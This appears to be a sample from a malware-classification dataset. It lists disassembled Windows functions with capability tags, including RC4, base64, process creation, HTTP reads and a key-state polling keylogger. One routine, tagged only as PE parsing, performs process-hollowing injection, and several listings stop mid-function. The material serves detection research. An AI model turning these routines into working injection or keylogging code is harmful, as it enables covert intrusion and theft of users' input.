joyce8/EMBER2024-capa huggingface dataset:
Function at 0x400a0b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push eax
push ecx
push edx
push dword [ebp + 8]
push ebp
add dword [esp], 0xfffffbf8
push 0x100
call fcn.0400a890
mov dword [ebp - 4], eax
mov dword [ebp - 0x44c], 0x44
mov dword [ebp - 0x444], 0
push dword [ebp - 0x408]
pop dword [ebp - 0x440]
mov word [ebp - 0x41a], 0
mov dword [ebp - 0x418], 0
mov dword [ebp - 0x420], 0x100
call fcn.0400a8c0
mov dword [ebp - 0x410], eax
call fcn.0400a8f0
mov dword [ebp - 0x40c], eax
call fcn.0400a920
mov dword [ebp - 0x414], eax
push ebp
add dword [esp], 0xfffffba4
push ebp
add dword [esp], 0xfffffbb4
push 0
push 0
push 0
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x400a16f
push dword [ebp + ecx*4 - 0x40c]
call fcn.04008750
dec ecx
jne 0x400a160
pop edx
pop ecx
pop eax
leave
ret 4

Function at 0x400a640
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
stc
pushfd
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
cld
mov esi, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
test edi, edi
je 0x400a6ab
test esi, esi
je 0x400a6ab
mov eax, dword [ebp + 0xc]
cmp eax, dword [edi - 8]
ja 0x400a6c0
mov ecx, dword [esi - 4]
cmp ecx, dword [ebp + 0x10]
jb 0x400a6d5
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
add eax, ecx
cmp eax, dword [esi - 4]
jbe 0x400a68f
sub eax, dword [esi - 4]
sub ecx, eax
cmp dword [ebp + 0xc], 0
je 0x400a68f
and dword [ebp - 0x14], 0xfffffffe
mov dword [edi - 4], ecx
add esi, dword [ebp + 0x10]
rep movsb byte es:[edi], byte [esi]
mov byte [edi], 0
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
popfd
leave
ret 0x10
lea ecx, [0x400a6f4]
mov edi, 0xa8
mov eax, 0xa
call fcn.040099a0
lea ecx, [0x400a6f4]
mov edi, 0xab
mov eax, 1
call fcn.040099a0
lea ecx, [0x400a6f4]
mov edi, 0xae
mov eax, 2
call fcn.040099a0
mov edi, edi
push cs
add byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [ebx + 0x74], dh
jb 0x400a757
jae 0x400a76f
bound esi, qword [ebx + 0x74]
jb 0x400a72d
push 0x616c
int3
inc ecx
add al, 0
int3
Function at 0x400a760
Capabilities:
Accept command line arguments

Disassembly:
call fcn.0400a740
cmp al, 1
jne 0x400a7ff
pushal
pushfd
cld
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push eax
call fcn.0400b6c0
push eax
call fcn.0400b886
push 0
call fcn.0400a748
xor ecx, ecx
xor edx, edx
cmp byte [eax], 0
je 0x400a7ef
dec eax
inc eax
mov dl, byte [eax]
bt dword [0x400b8a0], edx
jb 0x400a793
mov ebx, eax
cmp dl, 0x22
jne 0x400a7b4
inc ebx
inc eax
cmp byte [eax], 0
je 0x400a7c6
cmp byte [eax], 0x22
jne 0x400a7a7
jmp 0x400a7c6
dec eax
inc eax
mov dl, byte [eax]
cmp dl, 0
je 0x400a7c6
bt dword [0x400b8a0], edx
jae 0x400a7b5
cmp eax, ebx
je 0x400a78d
push eax
mov byte [eax], 0
push ebx
call fcn.0400b6c0
push eax
push ecx
call fcn.0400a873
inc ecx
cmp ecx, 0x100
jae 0x400a805
pop eax
mov byte [eax], dl
cmp dl, 0x22
jne 0x400a78d
inc eax
jmp 0x400a78d
push ecx
call fcn.0400a846
push 0
push ecx
call fcn.0400a873
popfd
popal
call fcn.0400b880
ret
lea ecx, [0x400a824]
mov edi, 0xbf
mov eax, 0xb
call fcn.040099a0
mov edi, edi
or eax, 0xd000000
add byte [eax], al
add byte [ecx + 0x72], ah
pop edi
arpl word [ebp + 0x64], bp
insb byte es:[edi], dx
outsb dx, byte [esi]
push 0x616c
add ah, cl
int3

Function at 0x400a950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffffc
push ecx
push edx
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
pop edx
pop ecx
test eax, eax
je 0x400a970
leave
ret
lea ecx, [0x400a990]
mov edi, 0x156
mov eax, 0x26
call fcn.040099a0
lea ecx, [ecx]
adc byte [eax], al
add byte [eax], al
adc byte [eax], al
add byte [eax], al
insd dword es:[edi], dx
insd dword es:[edi], dx
pop edi
bound ebp, qword [ebx + ebp*2 + 0x41]
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [esi], bp
push 0x616c
add byte [eax], al
int3

Function at 0x400ab70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push edi
call fcn.0400ab60
mov edi, eax
xor eax, eax
mov edx, eax
Function at 0x4012810
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x401282f
mov eax, dword [ebp + 8]
cmp eax, dword [esi - 4]
ja 0x4012844
add esi, eax
call fcn.040133a0
pop esi
pop ebp
ret 8
lea ecx, [0x4012864]
mov edi, 0x47
mov eax, 0xa
call fcn.040099a0
lea ecx, [0x4012864]
mov edi, 0x4a
mov eax, 2
call fcn.040099a0
lea ecx, [ecx]
adc dword [eax], eax
add byte [eax], al
adc dword [eax], eax
add byte [eax], al
arpl word [edi + 0x6e], bp
jbe 0x40128c8
jae 0x40128df
jb 0x40128c1
outsd dx, dword [esi]
push 0x682e3233
insb byte es:[edi], dx
popal
add byte [eax], al
add ah, cl
int3
mov eax, 2
call fcn.040099a0
nop
adc byte [eax], al
add byte [eax], al
jo 0x40128c9
invalid
call dword [eax + 0x10]
adc byte [eax], al
add byte [eax], al
arpl word [edi + 0x6e], bp
jbe 0x4012938
jae 0x401294f
jb 0x4012931
outsd dx, dword [esi]
push 0x6c682e38
popal
add byte [eax], al
cmp byte [esi], ch
push 0x616c
add byte [eax], al
int3
add byte [eax], al
add al, ch
jo 0x4012937
invalid
dec dword [ebp + 0x110049]
add byte [eax], al
adc dword [eax], eax
add byte [eax], al
arpl word [edi + 0x6e], bp
jbe 0x40129a8
jae 0x40129bf
jb 0x40129c1
outsd dx, dword [esi]
imul esi, dword [ebx], 0x6c682e32
popal
add byte [eax], al
xor esi, dword [edx]
push 0x616c
add ah, cl
int3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.040135b0
pop ebp
ret 0xc
int3
mov ebp, esp
sub esp, 8
push eax
push ebx
push ecx
push edx
pushfd
cld
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], 0
cmp ebx, 0x4000
jb 0x4012a15
push 0
push ebp
add dword [esp], 0xfffffffc
push 0x4000
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x4012a48
sub ebx, 0x4000
add dword [ebp + 0xc], 0x4000
mov eax, dword [ebp - 4]
add dword [ebp - 8], eax
cmp ebx, 0x4000
jae 0x40129de
test ebx, ebx
je 0x4012a37
push 0
push ebp
add dword [esp], 0xfffffffc
push ebx
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x4012a48
mov eax, dword [ebp - 4]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 8]
jne 0x4012a5d
popfd
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0xc
lea ecx, [0x4012a7c]
mov edi, 0xea
mov eax, 0x1b
call fcn.040099a0
lea ecx, [0x4012a7c]
mov edi, 0xed
mov eax, 0x1e
call fcn.040099a0
mov edi, edi
adc byte [eax], al
add byte [eax], al
adc byte [eax], al
add byte [eax], al
imul bp, word [ebp + 0x69], 0x5f6f
ja 0x4012af7
imul esi, dword [ebp + 0x2e], 0x616c68
add byte [eax], al
add byte [ebp - 0x75], dl
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x4012ab0
mov eax, dword [eax - 4]
push eax
call fcn.040085c0
push dword [ebp + 8]
push eax
call fcn.04007ef0
pop ebp
ret 4
lea ecx, [0x4012ad0]
mov edi, 0x3b
mov eax, 0xa
call fcn.040099a0
lea ecx, [ecx]
or eax, 0xd000000
add byte [eax], al
add byte [ebx + 0x74], dh
jb 0x4012b33
popal
pop edi
arpl word [eax + 0x79], si
push 0x616c
invalid
Function at 0x4012880
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edx
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x40128a1
mov eax, dword [ebp + 8]
cmp eax, dword [esi - 4]
ja 0x40128b6
add esi, eax
call fcn.04013440
pop edx
pop esi
pop ebp
ret 8
lea ecx, [0x40128d4]
mov edi, 0x47
mov eax, 0xa
call fcn.040099a0
lea ecx, [0x40128d4]
mov edi, 0x4a

Function at 0x4012b10
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ecx
pushfd
cld
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp eax, 0xffffffff
jne 0x4012b46
cmp dword [ebp - 4], 0
jne 0x4012b46
lea ecx, [0x4012b80]
mov edi, 0xc4
mov eax, 0x1c
call fcn.040099a0
popfd
pop ecx
mov edx, dword [ebp - 4]
leave
ret 4

Function at 0x4012ba0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ecx
push edx
pushfd
cld
push 0
push ebp
add dword [esp], 0xfffffffc
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4012bce
mov eax, dword [ebp - 4]
popfd
pop edx
pop ecx
leave
ret 0xc
lea ecx, [0x4012bec]
mov edi, 0x8b
mov eax, 0x1c
call fcn.040099a0
nop
sldt word [eax]
add byte [edi], cl
add byte [eax], al
add byte [esi + 0x69], ah
insb byte es:[edi], dx
imul ebp, dword gs:[edi + 0x5f], 0x64616572
push 0xcc00616c
int3

Function at 0x4012e10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
and dword [esp + 0x12], 0xff
jmp fcn.04009c10
Function at 0x454940
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49ac60
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x4b4014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x4b5070
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00469750
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x4b4a88
push eax
call fcn.00469750
mov esi, dword [0x4b5080]
xor ebx, ebx
mov edi, dword [0x4b5084]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x4b8280], bl
mov eax, ebx
mov ecx, 0x4b5070
cmovae ecx, dword [0x4b5070]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x4b8390], al
inc ebx
cmp ebx, 0x100
jl 0x4549c0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x4b8280]
movzx eax, byte [esi + 0x4b8390]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x454a14
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x4b8280]
mov byte [esi + 0x4b8280], al
inc esi
mov byte [edi + 0x4b8280], dl
cmp esi, 0x100
jl 0x4549f0
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00454590
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x454a69
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454a5f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454abf
push edx
push ecx
call fcn.0046ecf8
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x454aab
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454aa1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454abf
push edx
push ecx
call fcn.0046ecf8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004882fa
int3
Function at 0x454ad0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
mov eax, dword [0x4b4014]
xor eax, esp
mov dword [esp + 0x54], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x10], esi
mov eax, dword [eax]
mov dword [esp + 0x20], esi
mov dword [esp + 0x10], esi
push edi
test eax, eax
jne 0x454b2b
push eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0xf
push 0x4aa13b
mov byte [esi], al
call fcn.00469750
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.0046e681
mov esp, ebp
pop ebp
ret
mov ecx, eax
xor edi, edi
and ecx, 3
jne 0x454b45
cmp byte [eax + edx - 1], 0x3d
je 0x454b45
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], edi
jmp 0x454b67
mov dword [esp + 0x18], 1
cmp ecx, 2
ja 0x454b5f
cmp byte [eax + edx - 2], 0x3d
jne 0x454b5f
mov dword [esp + 0x20], edi
jmp 0x454b67
mov dword [esp + 0x20], 1
sub eax, dword [esp + 0x18]
and eax, 0xfffffffc
mov dword [esp + 0x40], edi
mov ecx, eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
shr ecx, 2
push 0
mov dword [esp + 0x48], 0xf
mov byte [esp + 0x34], 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [esp + 0x34]
add eax, dword [esp + 0x1c]
push eax
call fcn.00469610
cmp dword [esp + 0x44], 0x10
lea eax, [esp + 0x30]
mov edx, dword [esp + 0x14]
cmovae eax, dword [esp + 0x30]
mov dword [esp + 0x1c], eax
test edx, edx
je 0x454c35
mov esi, dword [esp + 0x2c]
lea eax, [edx - 1]
shr eax, 2
add esi, 2
inc eax
mov dword [esp + 0x28], eax
nop dword [eax]
movzx eax, byte [esi - 2]
lea esi, [esi + 4]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax*4 + 0x4aae70]
movzx eax, byte [esi - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x4aae70]
movzx eax, byte [esi - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x4aae70]
movzx eax, byte [esi - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x4aae70]
mov eax, ecx
sar eax, 0x10
mov byte [edx + edi], al
mov eax, ecx
sar eax, 8
mov byte [edx + edi + 1], al
mov eax, edx
mov byte [eax + edi + 2], cl
add edi, 3
sub dword [esp + 0x28], 1
jne 0x454bd0
mov esi, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
cmp dword [esp + 0x18], 0
je 0x454c92
mov eax, dword [esp + 0x2c]
add eax, edx
mov dword [esp + 0x24], eax
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
mov edx, dword [eax*4 + 0x4aae70]
shl edx, 6
or edx, dword [ecx*4 + 0x4aae70]
mov ecx, dword [esp + 0x1c]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [esp + 0x20], 0
mov byte [ecx + edi], al
je 0x454c92
mov eax, dword [esp + 0x24]
sar edx, 8
movzx eax, byte [eax + 2]
mov eax, dword [eax*4 + 0x4aae70]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + edi + 1], al
movups xmm0, xmmword [esp + 0x30]
mov ecx, dword [esp + 0x5c]
mov eax, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
pop edi
movq xmm0, qword [esp + 0x3c]
movq qword [esi + 0x10], xmm0
pop esi
xor ecx, esp
call fcn.0046e681
mov esp, ebp
pop ebp
ret
Function at 0x454d40
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x4b4014]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x1c], 0x67452301
push 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x24], 0xefcdab89
mov dword [esp + 0x28], 0x98badcfe
mov dword [esp + 0x2c], 0x10325476
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call fcn.004693e0
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push 0x10
push eax
push esi
call fcn.004858e0
lea eax, [esp + 0x1c]
add esp, 0xc
lea ebx, [esi + 0x10]
cmp edi, eax
je 0x454e0b
mov eax, dword [edi]
test eax, eax
je 0x454ded
mov ecx, dword [edi + 8]
sub ecx, eax
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x454de3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454e4e
mov eax, edx
push ecx
push eax
call fcn.0046ecf8
add esp, 8
mov eax, dword [esp + 0x18]
mov dword [edi], esi
mov dword [edi + 4], ebx
mov dword [edi + 8], eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0046e681
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x454e3c
mov ecx, dword [esp + 0x18]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x454e32
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454e4e
push ecx
push esi
call fcn.0046ecf8
add esp, 8
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0046e681
mov esp, ebp
pop ebp
ret
call fcn.004882fa
int3
Function at 0x456c20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x4b4014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x535008a
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x456e09
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x456e09
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00485780
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x5330330
nop
test eax, eax
je 0x456e09
push 4
push 0x1000
push 4
push 0
call 0x5340e22
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x5330012
nop
test eax, eax
je 0x456e09
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x4aacdc
push dword [esp + 0x30]
call 0x535010c
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x456d2c
push 0x4aace0
push 0x4aacf8
call 0x5340996
nop
push eax
call 0x53300d7
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x5330249
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x456e09
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x5350000
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x456dc3
mov dword [esp + 0xc], eax
call fcn.00456a70
push eax
call 0x5340990
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x5350000
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x456d72
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x5350000
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x53303d4
nop
push dword [esp + 0x24]
call 0x5340ba2
nop
push 0x8000
push 0
push esi
call 0x5340ee5
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0046e681
mov esp, ebp
pop ebp
ret
Function at 0x46f36c
Capabilities:
Parse pe header

Disassembly:
push 0
call 0x5360d73
nop
test eax, eax
je 0x46f3ac
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x46f3ac
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46f3ac
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x46f3ac
cmp dword [ecx + 0x74], 0xe
jbe 0x46f3ac
cmp dword [ecx + 0xe8], 0
je 0x46f3ac
mov al, 1
ret
xor al, al
ret
Function at 0x10006240
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0x102
push edi
mov edi, dword [ebp + 0x24]
mov dword [edi], 1
je 0x100062eb
push ebx
mov ebx, dword [sym.imp.user32.dll_GetKeyState]
push esi
mov esi, dword [ebp + 0x14]
push 0x10
mov dword [ebp + 0x24], esi
call ebx
test ax, ax
jns 0x1000627a
or esi, 0x10000
mov dword [ebp + 0x24], esi
push 0x11
call ebx
test ax, ax
jns 0x1000628c
or esi, 0x20000
mov dword [ebp + 0x24], esi
push 0x12
call ebx
test ax, ax
jns 0x1000629e
or esi, 0x40000
mov dword [ebp + 0x24], esi
mov eax, dword [0x100808f0]
test al, 1
jne 0x100062c6
or eax, 1
push 0x100808c4
mov dword [0x100808f0], eax
call fcn.100464e0
push 0x100620a0
call fcn.100464e0
add esp, 8
mov esi, dword [0x100808c8]
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp + 0x10]
push eax
mov ecx, 0x100808c4
call fcn.100464e0
cmp dword [ebp + 0x10], esi
pop esi
pop ebx
je 0x100062eb
mov dword [edi], 0
xor eax, eax
pop edi
pop ebp
ret 0x20

Function at 0x1002a5a0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060d18
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 0x34]
call fcn.1003def0
test eax, eax
jne 0x1002a5da
xor ebx, ebx
jmp 0x1002a5e4
lea ecx, [esi + 0x34]
call fcn.1003def0
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [esi + 0x34]
call fcn.100464e0
push 0
push 0
push 3
push 0
push 0
push ebx
push dword [eax]
push dword [esi + 0x4c]
call dword [sym.imp.wininet.dll_InternetConnectW]
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
mov dword [esi + 0x50], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1002a626
mov ecx, dword [edx]
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esi + 0x50], 0
jne 0x1002a669
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
call edi
cmp eax, 0x3e5
je 0x1002a669
push 0x10063700
lea ecx, [ebp - 0x14]
call fcn.100464e0
push eax
mov dword [ebp - 4], 0
call edi
push eax
lea ecx, [ebp - 0x24]
call fcn.100464e0
push 0x1007469c
lea eax, [ebp - 0x24]
push eax
call fcn.100464e0
push 2
mov ecx, esi
call fcn.100464e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002a7d0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f9d8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebx + 0x18]
sub esi, dword [ebx + 0x14]
mov eax, dword [ebp + 8]
add eax, esi
cmp eax, 0xa00000
jle 0x1002a827
push 0xcaa10025
lea ecx, [ebp - 0x18]
call fcn.100464e0
push 0x100731f4
lea eax, [ebp - 0x18]
push eax
call fcn.100464e0
push eax
lea ecx, [ebx + 0x14]
call fcn.100464e0
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x44]
push ecx
push dword [ebp + 8]
add eax, esi
push eax
push dword [ebx + 0x54]
call dword [sym.imp.wininet.dll_InternetReadFile]
test eax, eax
jne 0x1002a889
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1002a889
push 0x10063700
lea ecx, [ebp + 8]
call fcn.100464e0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x28]
call fcn.100464e0
push 0x1007469c
lea eax, [ebp - 0x28]
push eax
call fcn.100464e0
mov eax, dword [ebx + 0x44]
add eax, esi
push eax
lea ecx, [ebx + 0x14]
call fcn.100464e0
push 0xa
mov ecx, ebx
call fcn.100464e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1002aa70
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fa38
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x54]
mov dword [ebp - 0x10], 0
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x1002aaf3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1002aaf3
push 0x10063700
lea ecx, [ebp - 0x14]
call fcn.100464e0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x30]
call fcn.100464e0
push 0x1007469c
lea eax, [ebp - 0x30]
push eax
call fcn.100464e0
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x1002ab25
mov ecx, dword [edi + 0x18]
sub ecx, dword [edi + 0x14]
add ecx, edx
cmp ecx, 0xa00000
jbe 0x1002ab25
push 0xcaa10025
lea ecx, [ebp - 0x20]
call fcn.100464e0
push 0x100731f4
lea eax, [ebp - 0x20]
push eax
call fcn.100464e0
mov eax, edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret